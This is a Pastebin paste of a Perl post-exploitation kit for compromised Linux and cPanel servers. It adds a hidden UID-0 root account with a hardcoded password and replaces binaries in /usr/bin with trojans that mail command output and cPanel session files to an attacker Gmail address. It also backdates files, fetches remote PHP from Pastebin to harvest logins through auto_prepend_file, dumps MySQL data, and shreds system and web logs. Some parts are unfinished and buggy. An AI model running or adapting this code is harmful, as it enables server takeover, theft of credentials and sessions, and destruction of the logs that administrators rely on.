Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/perl
- # By b0y h4ck3r
- # Many Thanks for : Mr_Anarshi_T , riyah nasr & foxy for helping :D
- # Not Tested Yet :P
- # http://upload.traidnt.net/upfiles/Ytu96952.png
- use Term::ANSIColor;
- use Sys::Hostname;
- use Socket;
- my $host = hostname();
- if ($#ARGV < 0) {
- menu:;
- print color("red"), "[+] M-A kit v 0.2\n";
- print color 'reset';
- sleep 1;
- print color("red"), "1. Add new root user";
- print color 'reset';
- print color("red"), "\n2. Auto ev!l c0de Inject0r";
- print color 'reset';
- print color("red"), "\n3. Auto Cpanel Session sending to e-mail";
- print color 'reset';
- print color("red"), "\n4. Search root password from cpanel session file"; #d0ne
- print color 'reset';
- print color("red"), "\n5. Log Cleaner"; #d0ne
- print color 'reset';
- # idea by DamaneDZ
- print color("red"), "\n6. Mass Login info hunting"; #d0ne
- print color 'reset';
- print color("red"), "\n7. Exit";
- print color 'reset';
- print color("red"), "\n\nr00t~M-A: ";
- print color 'reset';
- $menu = <>;
- if ($menu =~ /1/){
- goto addroot;
- }
- if ($menu =~ /2/){
- goto sessions;
- }
- if ($menu =~ /3/){
- goto sesend;
- }
- if ($menu =~ /4/){
- goto getrootsession;
- }
- if ($menu =~ /5/){
- goto logclean;
- }
- if ($menu =~ /6/){
- goto huntingpublic1;
- }
- if ($menu =~ /7/){
- goto exit;
- }
- else {
- print "\t\tUnknow Choise Idiot\n";
- goto menu;
- };
- addroot:;
- print color("red"), "[+] M-A kit v 0.2\n";
- print color 'reset';
- sleep 1;
- print color("green"), "[+] Adding new root\n";
- print color 'reset';
- print color("yellow"), "[-] Enter New root name : \n";
- print color 'reset';
- my $newrootuser=<STDIN>;
- chomp($newrootuser);
- print color("yellow"), "[-] Enter New root Pass : \n";
- print color 'reset';
- my $newrootpass=<STDIN>;
- chomp($newrootpass);
- print color("yellow"), "[-] Enter New root Path : \n";
- print color 'reset';
- my $dir=<STDIN>;
- chomp($dir);
- {
- system("useradd $newrootuser -g 0 -G wheel,sys,bin,daemon,adm,disk -d $dir -s /bin/sh");
- system("echo $newrootpass | passwd $newrootuser --stdin");
- system("sed -i \"s/x:[0-9]*:0/x:0:0:root/g\" /etc/passwd");
- }
- print color("green"), "[+] d0ne Adding new root \n";
- print color 'reset';
- sleep 2;
- {
- system("clear");
- }
- goto menu;
- sessions:;
- print color("red"), "[+] M-A kit v 0.2\n";
- print color 'reset';
- sleep 1;
- print color("green"), "[+] Configuring ...\n";
- print color 'reset';
- print color("yellow"), "[-] Enter File that you whant to inject ev!l c0de : \n";
- print color 'reset';
- my $file=<STDIN>;
- chomp($file);
- print color("yellow"), "[-] Enter ev!l c0de : \n";
- print color 'reset';
- my $evil=<STDIN>;
- chomp($evil);
- print color("yellow"), "[-] Enter Your email to send result : \n";
- print color 'reset';
- my $emailrez=<STDIN>;
- chomp($emailrez);
- print color("bold white"), "[-] Lanching ....\n";
- print color 'reset';
- $code = "\#include<stdio.h>";
- $code2 = "\#include<stdlib.h>";
- $boy = "main()";
- $boy4 = "{";
- $boy2 = "system(\"$evil | mail -s \"\"$host Info\"\" $emailrez\");";
- $boy3 = "system(\"/usr/bin/system\");";
- open(TN,">>/usr/bin/$file.c");
- print TN "$code\n";
- print TN "$code2\n";
- print TN "$boy\n";
- print TN "$boy4\n";
- print TN "$boy2\n";
- print TN "$boy3\n";
- print TN "}";
- print TN "\n";
- close(TN);
- print color("bold white"), "[-] Creating ev!l c0de\n";
- print color 'reset';
- {
- system("cd /usr/bin");
- system("rm -fr /usr/bin/system");
- system("cp /usr/bin/$file /usr/bin/system");
- system("rm -fr /usr/bin/$file");
- system("gcc /usr/bin/$file.c -o /usr/bin/$file");
- system("rm -fr /usr/bin/$file.c");
- }
- print color("bold white"), "[-] Replacing code by the ev!l c0de \n";
- print color 'reset';
- {
- system("touch -t 1001010433 /usr/bin/$file");
- system("touch -t 1001010433 /usr/bin/system");
- system("chmod +x /usr/bin/system");
- }
- print color("bold white"), "[-] Changing access and modification time of the ev!l c0de\n";
- print color 'reset';
- print color("green"), "[+] Okay d0ne \n";
- print color 'reset';
- sleep 2;
- {
- system("clear");
- }
- goto menu;
- sesend:;
- print color("red"), "[+] M-A kit v 0.2\n";
- print color 'reset';
- sleep 1;
- print color("green"), "[+] Configuring ...\n";
- print color 'reset';
- print color("yellow"), "[-] Enter File that you whant to inject in : \n";
- print color 'reset';
- my $file2=<STDIN>;
- chomp($file2);
- print color("yellow"), "[-] Enter your E-mail : \n";
- print color 'reset';
- my $email=<STDIN>;
- chomp($email);
- $evil2 = "cd /var/cpanel/sessions/raw/ && cat * | mail -s \"\"$host Sessions Info\"\" $email";
- $line1 = "\#include<stdio.h>";
- $line2 = "\#include<stdlib.h>";
- $line3 = "main()";
- $line4 = "{";
- $line5 = "system(\"$evil2\");";
- $line6 = "system(\"/usr/bin/systems\");";
- open(TN,">>/usr/bin/$file2.c");
- print TN "$line1\n";
- print TN "$line2\n";
- print TN "$line3\n";
- print TN "$line4\n";
- print TN "$line5\n";
- print TN "$line6\n";
- print TN "}";
- print TN "\n";
- close(TN);
- {
- system("cd /usr/bin");
- system("rm -fr /usr/bin/systems");
- system("cp /usr/bin/$file2 /usr/bin/systems");
- system("rm -fr /usr/bin/$file2");
- system("gcc /usr/bin/$file2.c -o /usr/bin/$file2");
- system("rm -fr /usr/bin/$file2.c");
- system("touch -t 1001010433 /usr/bin/$file2");
- system("touch -t 1001010433 /usr/bin/systems");
- system("chmod +x /usr/bin/systems");
- }
- print color("green"), "[+] Okay d0ne , don't test it plz :P \n";
- print color 'reset';
- sleep 2;
- {
- system("clear");
- }
- goto menu;
- sessions:;
- close;
- getrootsession:;
- # by RAB3OUN
- print color("red"), "[+] M-A kit v 0.2\n";
- print color 'reset';
- sleep 1;
- system("wget http://pastebin.com/raw.php?i=9Edn8gUs -o test.php");
- my $output = "php test.php";
- print color("green"), "\n$output\n";
- print color 'reset';
- system("rm -rf test.php");
- sleep 2,
- print "Have you copied the info ? y/n";
- $cpoiedinfo=<STDIN>;
- chomp $cpoiedinfo;
- if ($cpoiedinfo eq "y")
- {
- print "So Fast\n";
- sleep 2,
- system("clear");
- goto menu;
- }
- if ($cpoiedinfo eq "n")
- {
- print "-_- ok!! \n";
- }
- logclean:;
- print color("red"), "[+] M-A kit v 0.2\n";
- print color 'reset';
- print color("green"), "[+] Okay cleanning ...\n";
- print color 'reset';
- sleep 1;
- # $file you must put log dirs from to-add.txt
- @logpaths=('/var/log/auth.log','/var/log/message','/var/log/faillog','/var/log/btmp','/var/log/user.log','/var/log/lastlog','/usr/local/apache/logs/access_log','/usr/local/apache/logs/error_log','/usr/local/apache/domlogs/','/usr/local/apache/logs/suexec_log','/var/log/exim_mainlog','/var/log/exim_paniclog','/var/log/exim_rejectlog','/var/log/maillog','/usr/local/jakarta/tomcat/logs/catalina.err','/usr/local/jakarta/tomcat/logs/catalina.out','/usr/local/cpanel/logs/access_log','/usr/local/cpanel/logs/error_log','/usr/local/cpanel/logs/stats_log','/usr/local/cpanel/logs/cpbackup/*.log','/var/log/secure','/home/user/logs');
- foreach $logpath(@logpaths)
- {
- system("shred -f -n 500 $logpath");
- system("rm -rf $logpath");
- }
- print color("green"), "[+] d0ne\n";
- sleep 1;
- print color 'reset';
- system("clear");
- goto menu;
- huntingpublic1:;
- print color("red"), "[+] M-A kit v 0.2\n";
- print color 'reset';
- # by G-B
- print color("green"), "[+] Please Enter Your Email : \n";
- print color 'reset';
- $huntemail=<STDIN>;
- chomp $huntemail;
- system("cd /usr/local/lib/");
- system("sed -i '/auto_prepend_file/c\auto_prepend_file = /usr/local/lib/ini.php' php.ini");
- system("wget http://pastebin.com/raw.php?i=1dRkxRtN -o ini.php");
- system("sed -i ‘s/huntmail/$huntemail/’ ini.php");
- system("/etc/init.d/apache2 stop");
- system("/etc/init.d/apache2 start");
- print color("green"), "[+] Ok Done\n";
- print color 'reset';
- sleep 2;
- {
- system("clear");
- }
- goto menu;
- } elsif ($ARGV[0] =~ "addroot" )
- {
- print color("red"), "[+] M-A kit v 0.2\n";
- print color 'reset';
- sleep 1;
- print color("green"), "[+] Adding new root\n";
- print color 'reset';
- $newrootuser = "roots";
- $newrootpass = "p455w0rd";
- $dir = "/dir";
- {
- system("useradd $newrootuser -g 0 -G wheel,sys,bin,daemon,adm,disk -d $dir -s /bin/sh");
- system("echo $newrootpass | passwd $newrootuser --stdin");
- system("sed -i \"s/x:[0-9]*:0/x:0:0:root/g\" /etc/passwd");
- }
- print color("green"), "[+] d0ne\n";
- print color 'reset';
- }
- if ($ARGV[0] =~ "evilcode" )
- {
- $evil = $ARGV[1];
- $emailrez = "ght.hackers@gmail.com";
- $file = "zip";
- print color("red"), "[+] M-A kit v 0.2\n";
- print color 'reset';
- sleep 1;
- print color("green"), "[+] Configuring ...\n";
- print color 'reset';
- $code = "\#include<stdio.h>";
- $code2 = "\#include<stdlib.h>";
- $boy = "main()";
- $boy4 = "{";
- $boy2 = "system(\"$evil | mail -s \"\"$host Info\"\" $emailrez\");";
- $boy3 = "system(\"/usr/bin/system\");";
- open(TN,">>/usr/bin/$file.c");
- print TN "$code\n";
- print TN "$code2\n";
- print TN "$boy\n";
- print TN "$boy4\n";
- print TN "$boy2\n";
- print TN "$boy3\n";
- print TN "}";
- print TN "\n";
- close(TN);
- print color("bold white"), "[-] Creating ev!l c0de\n";
- print color 'reset';
- {
- system("cd /usr/bin");
- system("rm -fr /usr/bin/system");
- system("cp /usr/bin/$file /usr/bin/system");
- system("rm -fr /usr/bin/$file");
- system("gcc /usr/bin/$file.c -o /usr/bin/$file");
- system("rm -fr /usr/bin/$file.c");
- }
- print color("bold white"), "[-] Replacing code by the ev!l c0de \n";
- print color 'reset';
- {
- system("touch -t 1001010433 /usr/bin/$file");
- system("touch -t 1001010433 /usr/bin/system");
- system("chmod +x /usr/bin/system");
- }
- print color("bold white"), "[-] Changing access and modelsification time of the ev!l c0de\n";
- print color 'reset';
- print color("green"), "[+] Okay d0ne \n";
- print color 'reset';
- }
- elsif ($ARGV[0] =~ "emailses" )
- {
- $email = "ght.hackers@gmail.com";
- $file2 = $ARGV[1];
- print = "$file2";
- print color("red"), "[+] M-A kit v 0.2\n";
- print color 'reset';
- sleep 1;
- print color("green"), "[+] Configuring ...\n";
- print color 'reset';
- $evil2 = "cd /var/cpanel/sessions/raw/ && cat * | mail -s \"\"$host Sessions Info\"\" $email";
- $line1 = "\#include<stdio.h>";
- $line2 = "\#include<stdlib.h>";
- $line3 = "main()";
- $line4 = "{";
- $line5 = "system(\"$evil2\");";
- $line6 = "system(\"/usr/bin/systems\");";
- open(TN,">>/usr/bin/$file2.c");
- print TN "$line1\n";
- print TN "$line2\n";
- print TN "$line3\n";
- print TN "$line4\n";
- print TN "$line5\n";
- print TN "$line6\n";
- print TN "}";
- print TN "\n";
- close(TN);
- {
- system("cd /usr/bin");
- system("rm -fr /usr/bin/systems");
- system("cp /usr/bin/$file2 /usr/bin/systems");
- system("rm -fr /usr/bin/$file2");
- system("gcc /usr/bin/$file2.c -o /usr/bin/$file2");
- system("rm -fr /usr/bin/$file2.c");
- system("touch -t 1001010433 /usr/bin/$file2");
- system("touch -t 1001010433 /usr/bin/systems");
- system("chmod +x /usr/bin/systems");
- }
- print color("green"), "[+] Okay d0ne , don't test it plz :P \n";
- print color 'reset';
- }
- elsif ($ARGV[0] =~ "rootses" )
- {
- print color("red"), "[+] M-A kit v 0.2\n";
- print color 'reset';
- sleep 1;
- system("wget http://pastebin.com/raw.php?i=9Edn8gUs -o test.php");
- my $output = "php test.php";
- print color("green"), "\n$output\n";
- print color 'reset';
- system("rm -rf test.php");
- }
- elsif ($ARGV[0] =~ "rootsql" )
- {
- print color("red"), "[+] M-A kit v 0.2\n";
- print color 'reset';
- sleep 1;
- print color("green"), "[+] Searching ...\n";
- print color 'reset';
- print color("green"), "[-] This may take some time :D ...\n";
- print color 'reset';
- {
- system("cat /usr/local/mysql/data/* > mysql1.txt");
- system("cat /var/lib/mysql/* > mysql2.txt");
- system("cat /var/run/mysqld/* > mysql3.txt");
- system("cat mysql1.txt mysql2.txt mysql3.txt > mysql.txt");
- system("rm -rf mysql1.txt && rm -rf mysql2.txt && rm -rf mysql3.txt");
- system("%here i must sed hhhhhhh mysql.txt to grep s1 the root with password elsif it's found then to print it s1");
- }
- }
- elsif ($ARGV[0] =~ "logclean" )
- {
- print color("red"), "[+] M-A kit v 0.2\n";
- print color 'reset';
- print color("green"), "[+] Okay cleanning ...\n";
- print color 'reset';
- sleep 1;
- # $file you must put log dirs from to-add.txt
- @logpaths=('/var/log/auth.log','/var/log/message','/var/log/faillog','/var/log/btmp','/var/log/user.log','/var/log/lastlog','/usr/local/apache/logs/access_log','/usr/local/apache/logs/error_log','/usr/local/apache/domlogs/','/usr/local/apache/logs/suexec_log','/var/log/exim_mainlog','/var/log/exim_paniclog','/var/log/exim_rejectlog','/var/log/maillog','/usr/local/jakarta/tomcat/logs/catalina.err','/usr/local/jakarta/tomcat/logs/catalina.out','/usr/local/cpanel/logs/access_log','/usr/local/cpanel/logs/error_log','/usr/local/cpanel/logs/stats_log','/usr/local/cpanel/logs/cpbackup/*.log','/var/log/secure','/home/user/logs');
- foreach $logpath(@logpaths)
- {
- system("shred -f -n 500 $logpath");
- system("rm -rf $logpath");
- }
- print color("green"), "[+] d0ne\n";
- } elsif ($ARGV[0] =~ "hunt" )
- {
- $huntemail = "ght.hackers@gmail.com";
- print color("red"), "[+] M-A kit v 0.2\n";
- print color 'reset';
- # by G-B
- system("cd /usr/local/lib/");
- system("sed -i '/auto_prepend_file/c\auto_prepend_file = /usr/local/lib/ini.php' php.ini");
- system("wget http://pastebin.com/raw.php?i=1dRkxRtN -o ini.php");
- system("sed -i ‘s/huntmail/$huntemail/’ ini.php");
- system("/etc/init.d/apache2 stop");
- system("/etc/init.d/apache2 start");
- print color("green"), "[+] Ok Done\n";
- print color 'reset';
- }
- elsif ($ARGV[0] =~ "help" )
- {
- print color("red"), "[+] M-A kit v 0.2\n";
- print color 'reset';
- print color("blue"), "[+] Welcome to Help Task :D\n";
- print color 'reset';
- print color("bold white"), "[-] To Add New Root : perl $0 addroot\n";
- print color 'reset';
- print color("bold white"), "[-] To Inject Code In a Commad : perl $0 evilcode code\n";
- print color 'reset';
- print color("bold white"), "[-] To Send Cpanel Session To email : perl $0 emailses file\n";
- print color 'reset';
- print color("bold white"), "[-] To Search Root Password From Session file : perl $0 rootses\n";
- print color 'reset';
- print color("bold white"), "[-] To Clean Log : perl $0 logclean\n";
- print color 'reset';
- print color("bold white"), "[-] To Hunt Loginig Information : perl $0 hunt\n";
- print color 'reset';
- print color("bold white"), "[-] To see this : perl $0 help\n";
- print color 'reset';
- }
- # ok argv i hate you :( go to hell
Add Comment
Please, Sign In to add comment